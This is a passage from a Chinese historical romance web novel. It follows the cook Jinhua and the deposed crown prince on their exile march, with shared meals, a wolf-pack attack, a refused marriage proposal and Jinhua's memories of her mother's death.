中午队伍歇在了一处农田旁,锦婳掏出干柴,生了火,昨天买的鸭子开水退了毛,从鸭嘴到鸭臀穿了一根粗粗的木棍子,架在火上烤。
又从马车的袋子里拿出了几个土豆,扔在火堆里烤。
不一会就满是香味。
流犯们的午饭也很是不错,是用草药从锦婳那里换的掺了猪油渣的萝卜菜饼子。
流犯们此刻都蹲在树荫下,啃着菜饼子,锦婳看得出,今日大家的心情都不错。
火上烤着鸭子,火堆里还烤着土豆,锦婳蹲在火堆旁不时转转木棍,让鸭子的每一面都均匀受热。
刚才从老农那里买来的西瓜,锦婳挑了一个泡在了旁边的小溪里。
一会儿吃完午饭,锦婳打算开一个西瓜给大家解解渴。
鸭子烤熟了,香气四溢。
锦婳给两个官差装了两个烤土豆,一个鸭腿,一个鸭翅膀。
还有一个烤鸭腿,锦婳拿给了陆卿尘。
陆卿尘本来就面色白皙,如今受了伤,再加上一路的颠簸,面色显得越发苍白了。
锦婳想着,闲暇时琢磨琢磨,给这个废太子好好的补一补。
剩下的鸭肉、鸭头、鸭骨架锦婳和谢威、申家兄弟几人就着烤土豆,都分着吃了。
吃过午饭,趁流放的队伍还在休整,锦婳把碗筷拿到河边冲洗了,顺便把泡的凉凉的西瓜捧了回来。
谢威一刀开了西瓜,红红的瓤,一股子香甜的味道扑面而来。
几人饱餐了一顿,又分了西瓜,撑的肚子都圆滚滚的。
锦婳正要靠着马车打瞌睡,一个看样子五十多岁的老头朝她走了过来。
他穿的囚服很脏很旧,看样子有些邋遢。
锦婳对他有印象,上午采草药时,这个老头走在队伍的最后,采草药时也不像别的流犯那样见草就摘,而是细细的端详,看样子这个老头兴许通些药理。
老头走近锦婳道:“这位姑娘,我今日并未摘得什么草药,只得了这么一颗野山参,是滋补的上品。”
“这山参娇气,怕潮湿怕水分大,若是不立刻服用还是放在细沙里保存的好。”
锦婳接过山参,这山参个头很大,若是好好保存,等到了下个镇子一定能买上好价钱。
锦婳忙从筐里掏出两个菜饼子,放到老头手上。
老头千恩万谢的接过了,看样子到是个老实淳朴的老人家。
那老头拿着饼子刚转头要走,就被锦婳叫住了。
“老人家,看您的样子好像会些医术,我家公子受了些皮肉伤,不知您可会瞧看?”
那老头道:“我在村子里干的就是给人医病的活计,只不过运气不好,把人给医死了,摊上了人命案,姑娘若是介意……”
陆卿尘听见了马车外面的声音,掀起了帘子,对老人说:“无妨,请老先生帮吾医治。”
那老头上前先检查了陆卿尘被板子打的外伤,有谢威的金疮药一直敷着,伤口已经基本愈合。
接着,他又细细检查了陆卿尘的双腿,摸了又摸,然后吩咐谢威去寻两根粗棍子。
那老头将谢威寻来的粗棍子固定在陆卿尘腿上后,道了声:“并无大碍,只要再休养些时日……”
没等老头说完,陆卿尘便摆手:“老先生不必再多言,锦婳,再多给老先生拿几块饼子。”
那老头便不再言语,点头道:“多谢公子。”
第一卷 第18章 善心
那老头拿了饼子,转身蹲到树下去吃了,锦婳将剩的鸭架熬了汤,端给老头一碗。
陆卿尘和谢威不喜喝汤,这一锅鸭架汤就只有锦婳和申家兄弟围着炉火喝,几人不一会便喝出了一身汗。
谢威吃饱喝足,坐在马车边沿上休息,晒着太阳:“主子,锦婳这丫头真是机灵,得知那老先生会瞧病,能为主子所用,立刻给人家熬了鸭架汤端过去。”
陆卿尘却不觉的锦婳是这般的想法,一路走来,陆卿尘觉得锦婳和其他女子皆不一样,她生来便在苦难里,可却依然能保持本心,并未被磨难泯灭善良。
锦婳虽然话少,不常表露自己的情绪,可她并不无情,这世道,百姓的日子苦难太多,她但凡有一点点的余力便去帮助别人,这份善心,就连流放队伍里最富的黄家人都不曾有,可身在苦难里的锦婳却有。
喝完了鸭架汤,锦婳转头看了眼谢威和陆卿尘,都在马车上晒太阳,她起身去洗碗了。
锦婳蹲在小河边洗碗盘,阳光晒的暖洋洋的,微风习习,锦婳弯唇,这样的日子她竟觉得有一丝满足。
其实她给那老人家分汤也并未安什么心思,只不过看那老人家和太子府里的大厨子一般的年纪,让她不禁想起了那个认她做干闺女的大厨子。
那大厨子虽然心眼多了些,爱算计了些,可待她还算不错,至少对她比旁人多了些照顾。
她嘴甜,平日里干爹干爹的叫着,锦婳心知,那大厨子更多时候只是利用她替自己多干些活,但却也有真心待她的时候,起码比自己的亲爹强了百倍。
看她年纪小,正是长身体的时候,大厨子给主子们做点心的时候,总会多做出一些来,然后偷偷留下,等她干完活回来再悄悄拿给她。
太子府小厨房里的好东西,锦婳可没少进肚,这少不了大厨子的关照。
如今流放路上,看见像大厨子的老人家,锦婳心中难免想要多照顾他一二。
收拾完碗筷,流放队伍继续出发了,锦婳跟着马车走,申家兄弟便与她聊起那老头的事来了。
申虎叹了口气,略带些惋惜的说:“那老郎中我见过,是我们隔壁村子的,平日里打过照面,只是面熟。”
“行了一辈子医,听乡亲们说很有医术和医德,十里八乡的村民们生了病都要找他医治的。”
“赶上穷人家拿不出银钱的,几个鸡蛋、一碗粮食老先生都肯出诊。”
“听说这次是把县太爷家的公子给医死了,那县太爷家的公子生来便有不足之症,娘胎里带来的体弱多病,后来又咳了血。”
“就算是神仙、菩萨来了,也救不活!”
申豹一向老实憨厚,话少不多言,可也看着老头艰难前行的背影,感叹道:“行了一辈子医,却在这黄毛小儿身上栽了跟头,世道不公啊!”
下午锦婳又收了不少草药,陆卿尘干活仔细,卖相不好的都挑了出来,只留下些精品,用搓的细麻绳捆好。
晚上锦婳煮了那日在小镇上买的鲜面,和了猪油渣,还依照人头朝锅里磕了鸡蛋,自然给那位老先生也带了一个。
面出了锅,锦婳先给两位官差和老郎中送了三碗面,陆卿尘的自然要单独盛出来吃的,剩下的半锅面大伙就着热锅,暖暖和和的饱餐了一顿。
官差接过碗,自然也是乐呵呵的,这几日每到饭点都有那小丫头送饭来,两人眼看着都胖了一圈。
那老郎中的那碗面锦婳盛的更满了,老郎中接过碗一个劲的道谢,整日风餐露宿,他以为自己走不到北境了,要死在这流放的路上了,吃了这碗面,他顿时觉得自己又有了劲头。
黄家人眼看着馋,有钱却吃不到。真想买几碗,来填填没有油水的肚子,可是想到那日锦婳那小丫头被人欺负,黄家人袖手旁观连句话都没有为她说,这几日但凡与那丫头对视,那丫头的眼神都是冷漠的很,想来是不肯卖的,想到这里,黄家人都断了念想。
可怜了那个小男孩,哭喊着要吃面,被母亲捂着嘴,哄下了。
晚上,锦婳忙活完晚饭,又开始准备烙明日的野菜饼子。
锦婳今日挖的野菜不多,洗净剁碎,掺了些玉米面,撒了一把盐。剩的猪油渣都掺了进去,刚一下锅还没翻面香味就出来了。
有饿急了的流犯,闻到香味实在忍不住了,悄悄蹲在锦婳身边哀求:“锦婳姑娘,能不能先领一个饼子,等明日采了草药再还上?”
锦婳环顾四周,那么多双眼睛都齐刷刷的看着,若是开了这个头,怕是一发不可收拾了。
锦婳心知,有时候乱发善心,乱了规矩,一句好也落不下。
半晌,锦婳淡漠的说:“我们自己口粮也快没了,若不是我家公子心善,发了善心,本不该准你们用草药换的。你还是不要坏了规矩的好,眼下这么多人看着,若是给了你,我家公子免不了要受埋怨。”
那人想到自己因为嘴馋做出这般也是羞臊,讪讪的走了。
锦婳继续忙活,不一会就烙完了野菜饼子,还煮了一壶茶。
陆卿尘闲着无事,饶有兴致的看着锦婳忙着,不时抬头看看夜空中月朗星稀,依旧是一言不发,谢威就在身边恭敬的陪着。
第二日一早,是个好天气,官差早早就督促流犯们赶路了。
今日走的这段路很不好走,路面凹凸不平,申虎赶车很吃力,申豹、谢威和锦婳都跟着在后边推。
不一会,大家都汗流浃背,陆卿尘在马车上也并不好过,马车颠簸的他屁股上还没全好的伤和腿都有些痛。
马车里又被锦婳堆的满满的,时不时还有东西掉下来砸他的脑袋,这种罪若不是心性坚韧,早就受不了了。
可不一会,锦婳就觉得马车推的轻松了,抬头一看,那些平日里受过她恩惠的流犯都开始跟着上手推了。
并不是谁号召的,完全是自发的,却也不是谁都肯来帮忙,比如黄家人都自顾自走自己的路。
第一卷 第19章 饱餐
走了一个时辰,终于走过了颠簸路段,申虎赶车也觉得轻松多了。
帮忙的众人也逐渐散去了,开始各走各的。
锦婳眉眼弯弯在大家身后招呼:“谢谢大伙了,今天晚上给大家做顿好的!”
众人听了都是高兴极了,有人回身对锦婳喊:“今晚我想吃肉!”
锦婳没了好气,朝众人喊:“可以,但是每人只能分到一块。”
流犯们听了更是高兴:“多谢锦婳姑娘了!”
锦婳谢过众人就开始收拾马车里的东西,刚才颠簸路段陆卿尘被马车上的蔬菜瓜果砸的不轻,谢威看了有些心酸,他家主子哪里受过这等罪!
锦婳却不觉的有什么,她是苦日子里熬过来的,陆卿尘早晚要习惯这样的生活,这点小磨难不过是刚刚开始而已。
若是这些小小的困难都挺不过去,往后的日子可怎么过,不如现在一头撞死,也免得日后受苦。
锦婳手脚麻利,不一会就把马车上的东西都归位了。
她对着陆卿尘道:“刚刚大伙都出了不少力,我应下了晚上给大伙做顿饭。”
陆卿尘已经缓过来了,有些不以为意的说:“这些小事你可以全凭自己意愿做主,吾并无异议。”
顿了顿,陆卿尘又说:“此去北境,山高路远,你与流犯们处好关系是对的,若不给些恩惠,他日遇到困境,谁又肯伸出援手。”
锦婳对今天流犯们肯自发帮忙推马车心里很高兴,她眉眼弯弯的对陆卿尘说:“你看那群流犯,刚开始的时候都是一脸的怨气,如今看真的变好了很多!”
“日后到了北境,日子也未必是千难万难,我想只要我们勤劳肯干,一定能将日子过起来的!”
锦婳说这话是想安慰陆卿尘,怕他觉得流放的日子这般的苦,到了北境也未必有盼头,失了斗志。
她希望她说的这些话陆卿尘能听进去,起码流放路上能心怀美好的期待,每日也不会觉得太苦和煎熬。
陆卿尘自然明白锦婳的意图,可他此去北境是带着任务的,无论母后的死因为何,他都不会在北境生活太久,皇宫,他是早晚要杀回去的。
可看着锦婳满脸的笑意,充满了期待,他又不好说些扫兴的话,只得转移话题。
“下次再去县城采买,记得给吾带本书回来,这本本草纲目都被吾翻烂了。”陆卿尘把书摊在锦婳眼前给她看。
锦婳满口应下:“好,你需要什么只管说便是,只要不是太贵,我们能买得起就好。”
说完锦婳扭头下了马车,流放队伍继续往前走,刚走了没多远,路边有一大片荷花湖,申家兄弟跳下马车,趴在湖边看了一会儿,便转头对锦婳说:“妹子,这湖底都是莲藕!”
锦婳心中一喜,转头急忙喊住两个官差:“官差大哥!停一停!”
张洛和王里以为锦婳有什么急事,下令停下队伍,朝锦婳喊:“妹子,出什么事了?”
锦婳从队伍最前面,跑到队伍最后面,气喘吁吁:“两位大哥,前面有一个荷花湖,申家大哥说,湖底都是莲藕,若是我们挖一些出来,这几日的吃食就有着落了!”
王里挠挠头,有些为难:“锦婳妹子,今日的行程要走到三里坡,若是停下来挖莲藕,恐怕天黑之前就走不到了。”
锦婳一时语塞,她能理解官差大哥有任务行程要走,毕竟押送流犯是皇命在身,可错过这些莲藕也实在太可惜了。
张洛看出了锦婳的小心思,他拍了拍王里的肩膀:“兄弟,锦婳妹子也是为了我们的吃食着想,大不了就挖一个时辰,能挖多少便是多少,明日天亮早一个时辰出发,把路程赶回来。”
王里自然也想尝尝这湖里鲜藕的味道,便爽快的应下了。
锦婳眉眼弯弯,转身蹦蹦哒哒的跑回湖边,招呼流犯们下湖挖藕。
流犯们听说晚上有鲜藕吃,都撸起裤腿子,争先恐后的下了湖,不到一个时辰,已经挖上来了满满三大筐的鲜藕。
申家兄弟是挖藕的能手,指挥着流犯怎么挖,哪里的藕多。
锦婳像小豚鼠一样,藕挖的越多越高兴,陆卿尘坐在马车里看着,只觉得锦婳较比平日里多了几分机灵劲,看着就让人心情舒畅。
到了晚上,官差找了个山洞让流犯们住下,大伙搬来鲜藕,都催促着锦婳赶紧做完饭。
两个官差觉得,从未见过这样的流放。
以前押解流犯时,动不动就要挥鞭子,几乎几日就要饿死、冻死一个。
还有要逃跑的,追回来就会被打个半死。
而现在,眼前的这群流犯别提多和谐了。
打水的打水,生火的生火,还有专门洗藕的,锦婳有人帮厨,觉得轻松了不少。
锦婳闷了一大锅糙米饭,马车里还有一条五花肉,锦婳拿出来切了薄片,清洗好的鲜藕也去皮切片,放在油锅里一起炒,要出锅时撒把盐,鲜藕的清香味,混着五花肉的香气,锦婳尝了一口,清甜爽口,美味极了!
因为今日吃饭的人太多,锦婳分了两锅炒了两次才够大伙吃。
流犯们每人分了一碗糙米饭,上面盖的藕片和炒的焦焦的五花肉。
流犯们吃的热火朝天,倒是把黄家人排除在外了。
下午挖藕时,黄家人嫌下水脏,不愿跟着一起挖,吃饭时,自然也没他们的份。
锦婳虽然心善,但也公平的很。
锦婳见大家吃的香,眉毛弯弯的对着大伙说:“今天的饭可不是白吃的,路上若是不好走,还要大伙多多照应我家公子!”
陆卿尘在马车上整理今日流犯们采的草药,偶尔抬头看看马车外的热闹,脸上倒也难得的挂着一丝笑意。
黄家人实在是饿急了,想翻出银子来买锦婳的饭菜,等拿着铜板过来时,饭菜的锅都被流犯们刮的见底了。
等锦婳开始收拾碗筷,两个官差过来发话,让流犯们都早点休息,明日要早一个时辰出发。
锦婳收的更着急了,幸亏有谢威跟着帮忙,锦婳心中有那么一点点感动,这声哥也不是白叫的。
第一卷 第20章 狼袭
队伍又行了几日,最终进入了一片山里。
每到半夜总能听见野兽瘆人的叫声,谢威警觉,与申家兄弟商量着轮流职夜。
陆卿尘不放心锦婳睡在马车外,这丫头弱弱小小的,再被狼给叼走了!
“上来,今夜和吾一起睡在马车上。”陆卿尘掀开马车帘子对锦婳伸手。
锦婳听着四周的野兽叫声,真的觉得有些瘆人。
本来为了避嫌,不愿与陆卿尘同住一马车的,可今夜只觉得异常的阴冷和可怕,思索了片刻,硬着头皮爬上了马车。
押解到官差张洛和王里也觉得今夜露宿的这个山脚周围环境不太对,草丛里还有星星点点的绿光,周围的灌木丛里总是有微微的响动,固然也加强了巡夜。
锦婳和陆卿尘中间依然隔着两个手臂的距离,锦婳买了棉被,今夜不用两人共盖一床被子了。
前半夜还好,锦婳睡的老实,一动不动。
到了后半夜,锦婳就如破壳的蝉蛹,拱进了陆卿尘的被子,一只胳膊架在陆卿尘的脖子上,一只腿架在陆卿尘的腰上。
陆卿尘这一晚有锦婳睡在身边,竟也迷迷糊糊的睡到下半夜。
半夜醒来,只觉得身上压着个人,鼻侧有浅浅的呼吸,陆卿尘睁开眼瞧了瞧,是锦婳靠在他肩膀上睡熟了。
这是……睡冷了?
陆卿尘想朝旁边挪一挪,可身上挂着的人抱他抱的更紧了,耳边呼吸温热,轻轻吹在耳朵上有些痒,让他觉得紧绷的全身都变得软软的。
迷迷糊糊,又没睡多久,挂在身上的人一个翻身,卷走了他被子,深秋的夜晚,又是在深山脚下,冷风灌在马车里,陆卿尘打了一个冷颤。
想把棉被拉回来一些,可睡熟的人皱眉哼哼了一声,让他停下了手上的动作。
陆卿尘觉得困,可又冷,之前怎么没觉得,锦婳睡觉这么不老实!
没过多一会,周围有狼叫!
不是一头!是狼群!
陆卿尘警觉的一个起身,动作有些猛,牵扯到了腿上的伤,一声冷呲!
“嘶!”
锦婳被陆卿尘的声音给吵醒了,迷迷糊糊的睁开眼,挣扎着撑着坐起身:“你怎么了?”
陆卿尘眼神凌厉,耳朵微微颤动,对锦婳说:“躲在马车里,别乱动!”
一声凄厉的狼叫传进锦婳的耳朵里,吓得锦婳打了个哆嗦:“是……是狼!”
陆卿尘见锦婳害怕的发抖,心中竟有些心疼,顿了顿,随即将手搭在她肩上,柔声安慰:“别怕,有我在,不会有事。”
陆卿尘的这句话让锦婳心中一颤,自小到大,除了娘亲还从没有人这样护着她。
锦婳心中想,这或许就是有家人的感觉吧!真好!
即便深处险境,可有人护着,心内也是暖的。
这时,谢威掀开帘子,沉声说:“主子,是狼群!”
陆卿尘一个猛劲下了马车,锦婳心中一惊,疾呼:“你的腿!”
陆卿尘靠在马车的侧面,勉强支撑自己的身体不倒下,透过马车窗对锦婳说:“吾没事。”
接着又对谢威说:“拿吾的剑来!”
谢威将剑递给陆卿尘,自己拔剑挡在他前面。
赶了一天路,疲惫的流犯们此刻也全都醒了,静谧的山谷里,此起彼伏的都是狼叫声。
灌木丛中的绿光开始朝着他们这边移动,越逼越近。
狼群露出了本来面目,突然,狼群朝这群流犯们发起了进攻。
有人被狼咬了,被身边的人帮忙拖了回来!
陆卿尘粗略算了算,看这架势,足有几十头狼!
张洛和王里手里虽拿着刀,但也不自觉的瑟瑟发抖,他们好不容易将流犯一路带到了这,忍饥挨饿、受冻,苦没少吃,累没少挨,眼看着翻过这几座山就要到北境了,眼看着就要回家了,老婆孩子热炕头,难不成今日就要交代在这了?成了这群狼的美餐?
王里声音都是颤抖的:“大家听着!手里有家伙的!看见狼就狠狠的砍,明日我们吃狼肉!”
即便流犯们的士气被鼓舞了,还是惨叫声此起彼伏。
谢威微微侧头看陆卿尘,他的腿伤未愈,此刻额头已经有了细细碎碎的汗珠。
“主子,可还撑得住?”
陆卿尘看着群狼,眼神锐利,沉声说:“点火,狼怕火!”
谢威立刻大喊:“大家快点燃火把,把狼烧死!”
顿时,篝火四起,亮如白昼。
锦婳还是第一次看见狼,她蜷缩在马车上,透过窗户的缝隙,看见群狼幽绿凌厉的眼睛,让人望而生畏。
她的马车两侧被陆卿尘、谢威和申家两兄弟围了起来,还算安全。
只是马车外的流犯们却惨了,好几个人被狼拖拽着走了好远,鲜血流了满地,后又被人抢了回来。
陆卿尘施展轻功,飞到了马车顶上,他眼神锐利如猎鹰,环顾狼群,声音低沉而嘶哑:“谢威,找狼王!”
夜空中突然传出了一声女人凄厉的哭喊声:“救救我的孩子!”
是黄家小儿子被狼叼走了!
众人刚想去施救,把孩子抢回来,只见一只剑“咻”的穿破耳膜,快准狠的射穿了那头狼的头,孩子立刻那头狼的口中掉了出来。
不止黄家的孩子,只要有人被狼扑倒,或是搏斗不敌狼,都会被少年的剑所救。
不过一会功夫,地上竟躺了十几头狼的尸体。
大家不禁都将目光投向了站在马车顶的少年,秋日深夜的群山里,迎风而立,衣袂飘飘。
他面容冷峻,眼神凌厉,发剑快准狠。
突然,少年眼神凌厉一转,仿佛发现了什么,拔剑搭弓,对准狼群后树丛旁的一头狼,剑射出!
一声凄厉的狼叫,狼群停止了攻击,少年射中了狼王!
一时间,狼群开始四散,逃跑,不过一会功夫,便都无影无踪。
谢威扶着陆卿尘下了马车,官差过来道:“今日真是多亏了陆公子,只是好些人受了伤。”
陆卿尘语气并无半点情绪:“清点人数,尽快休整,此处不宜久留。”
陆卿尘又吩咐谢威拿出金创药,给那些被狼咬伤的人。
两个官差清点了人数,虽有人受伤,好在人都还在,一个不少。
看着一瘸一拐的陆卿尘上了马车,众人不胜感激。
第一卷 第21章 求亲
锦婳看着陆卿尘被谢威搀扶着,艰难的上了马车,深秋的寒冷的夜晚,他额头上却都是汗珠,锦婳将小手伸进陆卿尘的衣领,里衣已经被汗打湿了,得尽快换下来,深山里太冷,会感染风寒的。
陆卿尘只觉得腿上一阵剧痛,身上潮湿粘腻的很,被锦婳冰凉的的小手伸进前胸一触碰,“嘶!”了一声。
锦婳叫回谢威,从他手上拿过一瓶金创药,涂在陆卿尘的伤处,眼睛一瞥,没好气的说:“自己伤得这样重,药却都拿去给人家用,咱们自己还顾不过来,你管别人做什么!”
陆卿尘被锦婳埋怨,不但没有怒意,反倒眉眼含笑。
这丫头,嘴硬!可是心地善良。
锦婳见陆卿尘眉眉眼弯弯的看着她,竟有些难为情了:“看我做什么?哪里还痛?”
陆卿尘忍着疼轻声道:“吾虽被贬,但这一路有你和谢威与吾作伴,生死与共,不离不弃,也是值了!”
锦婳望向马车窗外,因为刚刚被狼群攻击过,显得一片狼籍。
后半夜,两面官差和谢威,还有申家两兄弟一起守夜,过得还算太平。
陆卿尘因为疼痛,迷迷糊糊的睡着了,锦婳却无眠,她担心陆卿尘会着了风寒,一直看在他身边,摸着额头,观察有没有发烧。
第二日一早,锦婳熬了米粥,煎了菜饼子,大家简单的吃一口。
那些没有受伤的流放,已经开始捡拾和处理狼的尸体了。
锦婳看见有人在扒狼皮,匕首划过狼的肚子,血肉模糊。
锦婳看不了血腥的场面,觉得有点恶心,空气里都是狼的尸体的血腥气。
锦婳让谢威收拾碗筷,自己爬到了马车上。
陆卿尘看锦婳难得上马车,小眉头皱的紧紧的,问道:“怎么?申家兄弟又打趣你了?”
锦婳摇摇头,指着窗外说:“他们在扒狼皮,我觉得可怕。”
陆卿尘扭头看窗外,流犯们都在处理狼的尸体,画面确实有些血肉模糊。
他还是第一次从锦婳嘴里听到害怕这两个字,陆卿尘一直觉得锦婳有异于寻常女子的勇敢和坚韧,今日才发现,她不过也是个柔弱的小姑娘。
马车外有女人的说话声,听声音大致是要求见陆卿尘,被谢威拦下了。
锦婳看看陆卿尘,陆卿尘眉目微皱,却还是点了点头,锦婳便掀开了马车帘子。
求见陆卿尘的女人正是黄家的夫人,她带着昨日被陆卿尘救下的小儿子,扑通一声跪在了马车前。
“多谢陆公子昨夜的救命之恩,我特带小儿来给陆公子磕个头,感谢公子的大恩大德!”
说完,黄家母子便跪在地上,重重的磕了几个头。
锦婳回头看向陆卿尘,他面上冷淡,看不出任何情绪。
流放这一路,她对陆卿尘的性子也摸出了大概,心地倒是不坏,就冲他昨日夜里不顾自己的伤,跳上马车救了众人,他就是一个好人。
可在太子府时他性子冷淡就是出了名的,这一流放,话便更少了,除了她和谢威,哪怕是申家兄弟,陆卿尘也是极少开口的。
不熟悉的人可能会觉得陆卿尘还摆着前太子的架子,瞧不起人罢了。
锦婳知道并不是的,因她本身也是这样的性子,只是不善表达自己的情绪罢了。
未免尴尬,锦婳强忍着血腥味儿,跳下马车,将母子俩扶起来。
“黄夫人不必行如此大礼,我家公子一向仁义,又怎会见死不救。”
黄夫人擦擦眼泪,热络的拉起锦婳的手:“好姑娘,这一路我细细的观察过你,是家里家外的一把好手,不知可许了人家?”
锦婳被黄夫人这么一问,有些愣住了。
沉默半晌才略带羞涩的缓缓开口:“并未。”
马车上本来面无表情的陆卿尘嗅到了一丝不对的味道,抬起眼眸看向那黄夫人。
果然,黄夫人拉着锦婳的手,不肯放,还回过头喊来了自己的大儿子黄轩。
黄轩本来在同父亲一起处理狼皮,被母亲叫来也是有些懵。
黄夫人满脸笑意的对锦婳说:“这是我大儿子,名唤黄轩,你们应该认识吧?”
锦婳看看黄轩,点了点头。
黄夫人笑的更加暧昧:“姑娘觉得我家大郎如何?”
谢威一直在旁边喂马,看着热闹,听黄夫人这般问,不禁看向马车上的陆卿尘。
只见陆卿尘斜眸盯着黄轩,眼神凌厉,面色也是明显不悦,就连拳头也紧紧握着。
谢威心中猜想,主子难不成对锦婳这丫头动了心思?
谢威怀着看热闹不嫌事大的心思,手上喂马的动作并未停,可眼睛却一直盯着马车前的这出好戏。
锦婳明显的不懂情事,还未开窍,压根就没明白黄夫人的意图。
听见黄夫人这般问,锦婳虽不了解黄轩,却还是说了些冠冕堂皇的话。
“黄轩大公子一表人材,为人谦逊,是难得的好儿郎,这都是黄夫人教子有方。”锦婳这套话还是在戏文里学的。
黄夫人听锦婳如此说,满心的欢喜,以为锦婳对黄轩也是有意。
便乐的一拍腿:“那就这么定下来!等到了北境,我必备下大礼,到你家里提亲!”
锦婳被黄夫人说蒙了,什么?!提亲?!怎么就提亲了?!
谢威见自己再不出手,锦婳就要成黄家的媳妇了。
再看看陆卿尘看黄轩的眼神,简直就要喷火了。
他们俩啊,陆卿尘是当局者迷,还看不清自己的心思。
而锦婳呢,这方面完完全全是懵头人一个。
关键时刻,这俩人还是要靠他谢威出手!
谢威放下喂马的草,朝锦婳身边走去,一把圈住锦婳的肩膀:“且慢!黄夫人!”
“我家小妹的亲事,还是要问过我这位兄长的。”
见黄夫人面路尴尬,脸上的笑容逐渐消失,谢威又道:“我家小妹虽生在寻常人家,可也是经我家公子一手调教的,是断然不可随便嫁人的。”
“若想娶我家妹子,必得考取功名,吃朝廷俸禄,而且我不想我家妹子受委屈,黄公子不可纳妾,不知黄夫人可有异议?”
第一卷 第22章 娘亲
黄夫人一时语塞,立在那竟不知如何是好,倒是黄轩,向前一步对谢威有礼一躬:“这位哥哥,您既然是锦婳妹子的哥哥,我也跟着尊称您一声哥哥。”
“您说的条件我都应下,等到了北境,小弟定勤勉刻苦,考取功名,到时再向您求娶锦婳妹子。”
“至于您刚刚说的不可纳妾,若是日后锦婳姑娘能给黄家诞下一男半女,我黄某定绝不纳妾。”
黄轩说得铿锵有力,字字真心,哪怕是路过的流犯听了都不禁驻足,谢威心想,完了,锦婳这丫头一定动心了。
谁知锦婳却面色毫无波澜地对黄轩说:“这位黄公子,锦婳谢谢你的抬爱,只是我将来想要攒些银两开个饭馆,最好是能开个酒楼,不知你能否接受?”
黄轩果然面露难色,这个时代还是封建的,女子大多都是大门不出,二门不迈,只有那些作风不正的女人才会出门招摇。
思索片刻,黄轩说:“我明白锦婳姑娘的意思了,定是怕我日后养不起家,要替我分担。”
“有锦婳姑娘的这份心思,我一定会更加努力读书,让姑娘衣食无忧。”
锦婳却略带失望地摇摇头:“不,你没明白我的意思,我想要的是有自己的营生,自己养活自己,而不是依靠男子而活,视男子为天,在男子脚下讨生活。”
黄轩听了这番言论有些惊讶,也不止是黄轩,在场的所有人,包括陆卿尘都心中难免震惊。
黄轩一时语塞,不知所云:“这……锦婳姑娘的想法还真是新奇,黄某一时消化不了,还等黄某回去细细思索,再给姑娘答复。”
锦婳却好似松了一口气,只是眉眼弯弯的笑笑便转身去收拾东西了,官差昨夜说过,今日一早便要赶路,想来现在已经耽误了行程。
锦婳一走,方才还错愕的一群人,现下也都散了。
流放队伍开始行进,锦婳跟着马车走,一语不发,显得有些落寞。
陆卿尘透过车窗,瞥见锦婳微蹙的眉眼,只以为锦婳是因为黄轩没有应允她的要求,失了门好亲事而郁郁寡欢。
陆卿尘心下也是一阵落寞,险些这小丫头就要成为别人家的媳妇儿了,想到将来要送锦婳出嫁的画面,心中竟一阵酸涩。
昨日申家兄弟值夜睡得晚,今日便是谢威赶车,谢威看着陆卿尘和锦婳两人均是抑郁复杂的神色,不禁叹了口气。
锦婳其实心中并未因为那个黄轩起丝毫的波澜,她心中压根就没有男女情爱。
与陆卿尘一样,她心中也有伤痛,碰巧也是关于娘亲。
锦婳姓苏,随母姓,进宫之后自己改的。
锦婳的娘亲是街市上卖布匹的小商铺老板的女儿,对锦婳的爹爹一见钟情,可锦婳的爹爹家里穷,人又不上进,偏偏锦婳的娘亲中了邪一般的非他不嫁,两人更是私定了终身。
锦婳的外公,外婆只有这一个女儿,宠的跟珍珠似的,拧不过女儿,也只能答应了这门亲事。
婚后两人过得还算幸福,锦婳的爹爹种田、打猎,锦婳的母亲在家织布。
锦婳幼时的记忆里,爹娘的感情是很好的,从未有吵架、红脸的时候。
爹爹稍稍有些钱,就会送娘亲一些首饰、胭脂水粉,锦婳的记忆里,娘亲总是打扮得很美丽。
没多久,娘亲生下来弟弟,可娘亲的身体开始有些不好了,到了后来竟有些咳血。
锦婳年幼、弟弟尚在襁褓,娘亲又病重,这个家一下子就垮了一般,经常是冷锅冷灶,家里也是乱七八糟。
锦婳的爹爹整日里愁容满面,有一日,爹爹领回了一个女人,年纪比锦婳娘亲略大一些,说是请来照顾锦婳姐弟和娘亲的。
锦婳的娘亲并未多想,她觉得那女人比自己的夫君大,而且她心中是信得过自己夫君的为人的。
一开始那女人还尽心尽力地伺候锦婳的娘亲,给锦婳姐弟俩做三餐,洗洗涮涮。
可后来,看锦婳的娘亲身体是一日不如一日,那女子竟然勾引上了锦婳的爹爹。
锦婳的爹爹也是血气方刚的年纪,哪里经得住那女人三番几次的勾引,两人终于搞到了一起。
锦婳的娘亲必然有所察觉,自己的夫君她又怎能不了解,可自己如今的身体这般的脆弱,不堪一击,她又能怎么办?
锦婳想,当时娘亲一定是恨极了爹爹的,她那般的不顾一切地嫁给他,将自己的一切都赌在他的身上,甚至为了他与自己的亲生爹娘断了亲。
可没有爱,又哪有恨。
娘亲一定也是真真切切地爱过爹爹的,后来才会这般的心碎一地。
锦婳也许此生都难忘,娘亲临终时,撑着最后一口气,将她叫到身边。
娘亲的眼泪一直止不住地流,眼里满是对她们姐弟的不舍。
那时,她们姐弟两人也许是娘亲在这世上唯一的牵挂了。
锦婳的娘亲紧紧拉着锦婳的手,久久不肯松开,撑着最后一口气说:“锦婳,娘这辈子最对不起的人就是你的外公外婆,她们生了我,养了我,而我却未报生养之恩便先他们而去。”
“你们姐弟俩是娘永远的牵挂,娘也对不起你们,生了你们,却没能陪你们好好长大,以后的日子,就靠你们自己了。”
锦婳拿着帕子帮娘亲擦着眼泪,可怎么也擦不干,眼看娘亲又吐了一口鲜血,锦婳急得跪在地上哭了。
“锦婳,答应娘亲,永远永远不要对男人动情!不要走娘亲的路!太苦了!”
锦婳的娘亲拼着最后一丝力气,说完了这一句,咽下了最后一口气。
娘亲去了以后,锦婳的外公外婆因为思念女儿,也在一年内相继离世。
锦婳的父亲继承了锦婳娘亲家的店铺,还娶了那个女人,也就是后来锦婳的继母。
继母很快露出了真实面目,不再给锦婳姐弟做饭,洗洗涮涮,还接来了自己的女儿。
继母的女儿住着锦婳的房间,穿着锦婳娘亲为她亲手缝制的衣服,锦婳稍有反抗,在继母的煽风点火下,得到的便是爹爹的一顿棍子。
第一卷 第23章 选择
锦婳的思绪不知飘出了多远,回了神。
不是那黄轩不好,只是锦婳觉得,这世间的男子,她都无法去爱。
她从进宫那一刻起就已经计划好了自己的人生,男子并不在她的计划范围内。
她要攒很多很多的钱,然后开一个大酒楼,她亲自做大厨,收留一些无家可归的可怜女子做工。
锦婳收回思绪,前面是一条河,官差下令停下休整,吃午饭了。
今日的午饭,是狼肉。
流犯们几乎每人都背着一头狼,不一会就有人过来找锦婳:“好姑娘,给我们一些盐巴,中午烤狼肉吃。”
